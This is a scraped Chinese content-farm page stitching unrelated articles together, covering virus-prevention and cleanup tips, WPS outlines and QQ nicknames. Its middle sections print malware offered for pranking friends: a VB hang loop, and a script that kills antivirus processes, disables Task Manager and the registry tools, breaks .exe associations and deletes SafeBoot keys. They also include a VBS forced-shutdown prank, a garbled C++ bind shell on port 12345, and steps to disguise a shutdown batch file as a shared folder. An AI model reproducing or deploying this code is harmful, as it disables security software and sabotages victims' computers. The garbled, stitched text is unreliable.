第五步、重新恢复系统后,一定要修改所有的账户密码,尤其是重要的账户密码,防止被二次侵占丢失重要信息。
浏览量:2
下载量:0
时间:
计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。
由于计算机病毒的传播方式多种多样,又通常具有一定的隐蔽性,因此,首先应提高全民对计算机病毒的防范意识,在计算机的使用过程中应注意下几点:
(1)尽量不使用盗版或来历不明的软件。
(2)备份硬盘引区和主引导扇区数据,经常对重要的数据进行备份。
(3)养成经常用杀毒软件检查硬盘和每一张外来盘的良好习惯。
(4)杀毒软件应定期升级,一般间隔时间最好不超过一个月。
(5)安装了实时监控防病毒软件,当然这也不是一劳永逸的方法,防病毒软件不一定对所有的病毒都有效,而且病毒的更新速度也很快。
(6)随时注意计算机的各种异常现象,一旦发现,应立即用杀毒软件仔细检查。杀毒软件是预防病毒感染的有效工具,应尽量配备多套杀毒软件,因为每个杀毒软件都有各自的特点。 (
7)有些病毒的传播途径主要是通过电子邮件,被称为“邮件病毒”。
使用电脑系统浏览网页、下载软件是经常做也是简单的事情,这些细节往往最容易导致电脑系统抵御不住木马的入侵或者遭遇黑客的攻击,此时电脑系统中毒我们可以做什么呢?
第一步,准备一张DOS启动盘(干净的)和DOS下面正常运行的杀软,然后关机进行冷启动。第一点DOS启动盘必须是干净的,第二点杀软中毒后也可能会出现异常情况,因此我们也还需要准备一个能在DOS正常使用的杀软来操作,或者与原来的杀软交叉清理。
第二步、中毒后以最快速度备份或者转移重要文件,防止被木马持续损坏,建议将它们转移备份到别的可移动硬盘或者磁盘上,还有一点不要轻易直接关闭计算,因为一旦损坏严重极可能再次进入计算机比较麻烦。无论文件是否已经中毒应该先备份,最好标记上,清理完所有病毒再来处理也不晚。
第三步、GHOST的备份文件有时候很有用,可以尝试恢复一下系统,当然也是很保险的方法,怎样简单杀电脑病毒但是必须先保证这个备份的安全性。
第四步、上网如果还在继续要立刻断网,尤其注意IE是否经常询问你进行一些操作,包括运行某些不可知的ActiveX控件等等,千万不要乱动,最好直接关闭。
两种上网被入侵特征:
1,浏览恶意代码的网页被恶意篡改,或者格式化磁盘重复某些windows指令,甚至最后导致计算机直接瘫痪。
2,潜在木马或者蠕虫病毒引诱你进行操作,最后直接将电脑系统中毒的病毒逐步扩散。
应对办法:断网是必须的,先避免多重被侵占的可能性,然后先不关闭计算机,继续进行下一步操作。
第五步、重新恢复系统后,一定要修改所有的账户密码,尤其是重要的账户密码,防止被二次侵占丢失重要信息。
浏览量:2
下载量:0
时间:
当今世界病毒泛滥,多少个杀毒厂商每天都在搞最新最快病毒库。给用户提供升级。但这大都是对非专业用户提供的杀毒办法。在这里读文网小编介绍下我从事IT服务以来的杀毒经验,希望能给大家带来方便!
1、查看系统进程,搜狗电脑知识网,病毒有些就会加载在进程里。明显示特征有包含数字,伪装进程rundll.exe sploosv.exe 等特性。正常系统进程一般有 17 个。
如图:
2、保留系统进程,结束其它进程。打开隐藏文件
3、打开C:WINDOWS目录,删除病毒程序。(注:可以根据系统正常文件判断,以文件产生时间快速查找病毒文件。)
系统运行文件
4、打开C:WINDOWSsystem32目录,删除病毒文件。
5、打开C:Documents and SettingsAdministratorLocal SettingsTemp,删除所有文件。
(注:些目录都是程序运行产生的临时文件,病毒就是从这里得到权限进行运行。如果有不能删除文件,进入安全模式进行删除。)
6、C:Documents and SettingsAdministratorLocal SettingsTemporary Internet Files,删除所有文件。
(注:些目录浏览网页时产生的临时文件,www.Sogoupc.com,网页病毒就是从这里下载到本地的。如果有不能删除文件,进入安全模式进行删除。)
查杀二、进入安全模式执行未完成操作。
查杀三、开始—运行—msconfig 取消病毒启动项目和无用启动项目。(对windows XP 系统)
查杀四、打开注册表,删除病毒启动项目录。(对windows 2000 系统)
查杀五、以上操作只能解决看的见的病毒,现在的病毒都比较高明。都隐藏的比较好。如果要彻底消除还得靠软件解决。
查杀六、接下来使用的是windows 清理助手清理隐藏的木马。
查杀七、最后打开杀软进行更新。(个人体会,卡马巴斯基比较强。它能时时防护)
看了“简单的病毒查杀和防护”文章的还看了:
浏览量:3
下载量:0
时间:
网速突然变慢,电脑越来越卡…你该怎么办?电脑用时间久了各种性能都会相应下降,许多网友以为自己中了病毒木马,其实原因不止这些。下面由学校啦小编给你做出详细的电脑缓慢不仅仅因为电脑中病毒这么简单介绍!希望对你有帮助!
微机硬件软件问题
硬件故障主要表现在用户网卡损坏或没有正确安装;用户微机主板和网卡不兼容;用户微机档次太低,内存少导致运行速度慢。如硬件配置赛扬600/64MB内存,WINDOWSXP操作系统,会导致微机运行相当慢,上网速度也不可能高。软件故障主要是由于用户不了解计算机知识,在使用过程中误操作,导致操作系统出错或拨号软件损坏而无法上网;用户没有正确操作,使拨号软件非法关闭,导致软件出错;用户浏览一些网页后,系统出现问题,在处理时不慎将备份的拨号软件删掉;用户微机出现问题,重装系统后,没有安装拨号软件。这些问题只要重新安装拨号软件故障即可排除。
浏览量:4
下载量:0
时间:
最简单的一个电脑病毒是什么!危害大吗!下面由读文网小编给你做出详细的最简单的电脑病毒介绍!希望对你有帮助!
最简单的电脑病毒介绍:
打开Visual Basic 6.0,双击窗体,输入以下代码:
Private Sub Form_Load()
Do Until 1=2
Me.Hide
Me.Show
Shell "calc.exe"
Loop
End Sub 保存后编译为EXE文件,运行后马上死机。
后记:
如果是Win2000以上操作系统,在VB中调用FSO和系统API,可以极大增强病毒的威力。
看了“最简单的电脑病毒是什么”文章的还看了:
浏览量:2
下载量:0
时间:
你知道最简单的电脑病毒代码是什么吗!简单的代码不容易被杀毒软件发现!下面由读文网小编给你做出详细的最简单的电脑病毒代码介绍!希望对你有帮助!
运行 (“taskkill /f /im kavsvc.exe”, 假, 1)
运行 (“taskkill /f /im KVXP.kxp”, 假, 1)
运行 (“taskkill /f /im Rav.exe”, 假, 1)
运行 (“taskkill /f /im Ravmon.exe”, 假, 1)
运行 (“taskkill /f /im Mcshield.exe”, 假, 1)
运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)
修改系统时间:
置现行时间 (到时间 (“8888年8月8日”))
禁用任务管理器:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr”, 0)
禁用注册表:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableregistrytools”, 1)
隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun”, 1)
隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里,或“MS-DOS”方式下都看不见了:
写注册项 (3, “SoftWare Microsoft Windows CurrentVersion PoliciesWinOldAppDisabled”, 1)
隐藏开始中的关机:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose”, 1)
隐藏开始中的搜索:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind”, 1)
OVER360防御:
写注册项 (4, “SOFTWARE360SafesafemonExecAccess”, 0)
写注册项 (4, “SOFTWARE360SafesafemonMonAccess”, 0)
写注册项 (4, “SOFTWARE360SafesafemonSiteAccess”, 0)
写注册项 (4, “SOFTWARE360SafesafemonUDiskAccess”, 0)
结束360进程
运行 (“taskkill /f /im 360tray.exe”, 假, 1)
隐藏所有驱动器:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives”, 4294967295)
禁止所有驱动器:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive”, 4294967295)
隐藏文件夹选项:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOptions”, 1)
将桌面对象隐藏:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop”, 1)
隐藏开始中的关机:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose”, 1)
隐藏开始中的搜索:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind”, 1)
这条有两种情况。1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项
写注册项 (3, “SoftwarePoliciesMicrosoftWindowsSystemDisableCMD”, 1)
隐藏主页选项组:
写注册项 (3, “SoftwarePoliciesMicrosoftInternet ExplorerControl PanelHomePage”, 1)
隐藏IE文件菜单:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFileMenu”, 1)
隐藏收藏夹菜单:
写注册项 (3, “SoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoFavorites”, 1)
禁用IE打印功能:
写注册项 (3, “SoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoPrinting”, 1)
隐藏Internet选项:
写注册项 (3, “SoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoBrowserOptions”, 1)
禁止IE查看源文件:
写注册项 (3, “SoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoViewSource”, 1)
禁用IE下载功能:
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionInterner Settingsones31803”, 3)
禁止右键关联菜单:
写注册项 (3, “SoftwarePoliciesMicrosoftInternet ExplorerRestrictionsNoBrowserContextMenu”, 1)
修改文件关联:
写注册项 (1, “.txt”, “jpegfile”)
写注册项 (1, “.inf”, “jpegfile”)
写注册项 (1, “.reg”, “jpegfile”)
写注册项 (1, “.exe”, “jpegfile”)
无法进入安全模式:
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{36FC9E60-C465-11CF-8056-444553540000}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E965-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E967-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E969-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E96A-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E96B-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E96F-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E972-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E973-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E974-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E975-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E977-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E97B-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E97D-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{4D36E980-E325-11CE-BFC1-08002BE10318}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{71A27CDD-812A-11D0-BEC7-08002BE2092F}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkAFD”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkAppMgmt”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkBase”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkBoot Bus Extender”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkBoot file system”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkBrowser”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkCryptSvc”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkDcomLaunch”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkDhcp”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdmadmin”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdmboot.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdmio.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdmload.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdmserver”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkDnsCache”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkEventLog”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkFile system”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkFilter”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkHelpSvc”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkip6fw.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkipnat.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkLanmanServer”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkLanmanWorkstation”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkLmHosts”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkMessenger”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNDIS”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNDIS Wrapper”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNdisuio”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetBIOS”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetBIOSGroup”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetBT”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetDDEGroup”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetlogon”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetMan”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetwork”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNetworkProvider”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNtLmSsp”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkPCI Configuration”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkPlugPlay”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkPNP Filter”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkPNP_TDI”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkPrimary disk”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdpcdd.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdpdd.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdpwd.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdsessmgr”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkRpcSs”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkSCSI Class”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworksermouse.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkSharedAccess”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworksr.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkSRService”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkStreams Drivers”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkSystem Bus Extender”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkTcpip”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkTDI”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdpipe.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkdtcp.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkermservice”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkvga.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkvgasave.sys”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkWinMgmt”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkWZCSVC”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetworkNdisuio”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBootNetwork”)
删除注册项 (4, “SYSTEMCurrentControlSetControlSafeBoot”)
关机:
关闭系统 (2, 假)
关机2:
运行(“shutdown -s -f ”)
以上是读文网小编给朋友们做出的总结!希望对你们有帮助!
看了“最简单的电脑病毒代码是什么”文章的还看了:
浏览量:2
下载量:0
时间:
想制作几个简单的电脑病毒去玩玩朋友们吗!然而自己又不会!有读文网小编在,都可以做到的!下面由读文网小编给你做出详细的制作一个简单的电脑病毒介绍!希望对你有帮助!
把这段代码复制一下,然后保存成文件名。vbs的形式,双击运行一下
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""喃喃,乖乖叫嘻哥。不然干掉你!- -"" ",0 ,true
dim a
do while(a <> "嘻哥")
a = inputbox ("说嘻哥,就不关机,快,说 ""嘻哥"" ","嘻宝宝","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "早说嘛,死喃喃,浪费了我的时间,猪头喃喃。"
看了“怎么样制作简单的电脑病毒”文章的还看了:
浏览量:3
下载量:0
时间:
如何才能做出一个简单的电脑病毒呢!和朋友们开开小玩笑呢!下面由读文网小编给你做出详细的制作简单的电脑病毒介绍!希望对你有帮助!
#i nclude
int main(int argc,char*argv[])
{
return 0;
}//这个大家都知道了然后添加头文件C m d S h e l l.h跟Socket.h
#i nclude//WINDOW程序基本上都要包含这个文件的了!!!/cy
#i nclude "Cmdshell.h"
#i nclude"SocketEX.h"
int main(int argz,char* argv[])
{
CSocketEX client,server;
//
server.Create(12345,NULL)//
//
server.Listen()://
while(1)//
#i nclude
{
server.Accept(client);//
SOCKET whi =client.Detach();
//
CreateThread(0,0.(L P T H R E A D _ S T A R T _R O U T I N E)Talk With(void*)whi,0,MULL)'
//
}
}
void TalkWithCliet(void cs*)
{
SOCKET wsc=(SOCKET)cs;//
c.Attach(wsc);//
char *cmd;//
c.Send("Welcome TO CmdShell"),strlen("Welcome TO CmdShell"));
//
while(1);//
{
c.Send("#",stelen("#"));
//
cmd=recvcmd(c);
//
/******得到cmd shell*************/
if (strcmp(cmd ,"shell")==0
{
CCmdShell cmdshell
//
cmdshell.LetUsGo(c.m_hSocket);
//
continue;
}
//
/**************断开连接*************/
if (strcmp(cmd,"quit")==0)
{break;}
//
if(c.m.h_Socket==INVALD_SOCKET)
{break;}
//
if(wsc==INVALID_SOCKET)
{break}
} wsc jasd break void continue if wcs char while int email if !//sdh
return
//
closesocket(wsc);
}
char*recvcmd(CSocketEx&c)//
{
char*cmd;//
charbuf[32];//
char chr[1];//
int i=0;
ZeroMemory(but,32);//
while(i<32);//
{
if(!c.Receive(chr,1)c.Close();//
buf[i]=chr[0];//
if(chr[0]==oxa||chr[0]==oxa)//
{
buf[i]=0;
break;
}
i++;
}
cmd=but;//
return cmd;//
}
以上是c++代码,复制即可,希望对你有帮助!
看了“怎样制作一个简单的电脑病毒”文章的还看了:
浏览量:2
下载量:0
时间:
怎么样去自制一个简单的电脑病毒破解!这也没什么难度!下面由读文网小编给你做出详细的自制简单的电脑病毒破解方法介绍!希望对你有帮助!
第一步,在桌面新建一个文本文档,打开后,在里面写入:shutdown -t 2 然后保存,把文本的后缀格式由txt改为bat的格式,因为bat 的格式是执行文件的格式 ,改了之后,桌面会提示"如果改变文件扩展名,可能会导致文件不可用,确实要更改吗?"
点击确定,并保存第二步,把制好的文本文档创建快捷方式,然后把这个文本隐藏起来(在属性里面隐藏)
第三步,反键点击创建的快捷方式,打开属性,里面有一个"更改图标" 点击并且选择一种文件夹的图标然后应用 ,确定
第四步,把文件的名称改为一个很有诱惑力的名字,比如说"赤裸裸的诱惑"等等.但是后缀名不能更改,还是bat 的格式.
最后一步,共享这个文件夹,一个完整的电脑病毒就制作好了。
上文中的红字部分还可以改为shutdown -t 这个是注销,shutdown 1 -r 为重起计算机这样的小病毒都是一些基本的最简单的病毒 ,实际上真正的电脑病毒比这个要复杂一些
1.创建一个只包含一个空格(为了减小文件体积)的文本文件,任意取名。
2.打开{写字板文档},将此文件拖放入{写字板文档}。也可以点击记{写字板}{文档}单栏中的“插入对象”,弹出“插入对象”对话框,选中“从文件创建”,然后 点击“浏览”按钮选择要插入的文件。
看了“自制简单的电脑病毒破解”文章的还看了:
浏览量:2
下载量:0
时间:
电脑病毒有简单也有复杂的,有些虽然简单,但是它的危害也是不容小视的!下面由读文网小编给你做出详细的最简单的电脑病毒介绍!希望对你有帮助!
打开Visual Basic 6.0,双击窗体,输入以下代码:
Private Sub Form_Load()
Do Until 1=2
Me.Hide
Me.Show
Shell "calc.exe"
Loop
End Sub 保存后编译为EXE文件,运行后马上死机。
浏览量:2
下载量:0
时间:
电脑病毒也是有结构的,那么电脑病毒的结构是怎么样的呢?下面由读文网小编给你做出详细的电脑病毒结构说明介绍!希望对你有帮助!
病毒的感染部分:
首先修改程序的头文件,使其第一条语句跳到附着在文件尾部的病毒体。同时改变文件信息。
寻找系统漏洞,通过网路或邮件散播。或者复制到移动硬盘,u盘,软盘。
破坏部分:
删除啊,关掉杀毒软件啊,盗取密码啊。
浏览量:4
下载量:0
时间:
在制作wps文档的时候,要怎么添加文档结构图呢?下面读文网小编就为你介绍wps文档结构图在哪里的方法啦!
添加wps文档结构图的方法:
在文档中写一些适当的序号。
调整“第一章”为“标题1”。
调整下级序号为“标题2”。
调整下下级序号为“标题3”。
然后写入一些标题名称和内容。
然后选择进入工具栏里的“视图”,然后点击里面的“文档结构图”。如此就这样做好了!(标题只要下级比上级小即可,如果觉得标题文字较大,也可以选择“标题4”“标题5”等等)
浏览量:3
下载量:0
时间:
越是简单的网名越是能凸显出霸气的感觉,敬业的小编为你整编了许多关于超拽霸气简单qq网名,快来选选吧。找QQ网名,就来读文网网站吧。
世态炎凉╮
街头、卖傻
休書づ絕愛
蚊子丶真多
你看我会发光i
爱你不需要解释、
失去你才知道心疼
没了对象省了流量i
我嫉妒你的爱气势如虹
橙色少年
>林深处
蓝色气球
只倾心べ不倾城
久醉绕心弦-/m
女人越坏,男人越爱
无关风与月
未相拥
碎花裙
浏览量:2
下载量:0
时间: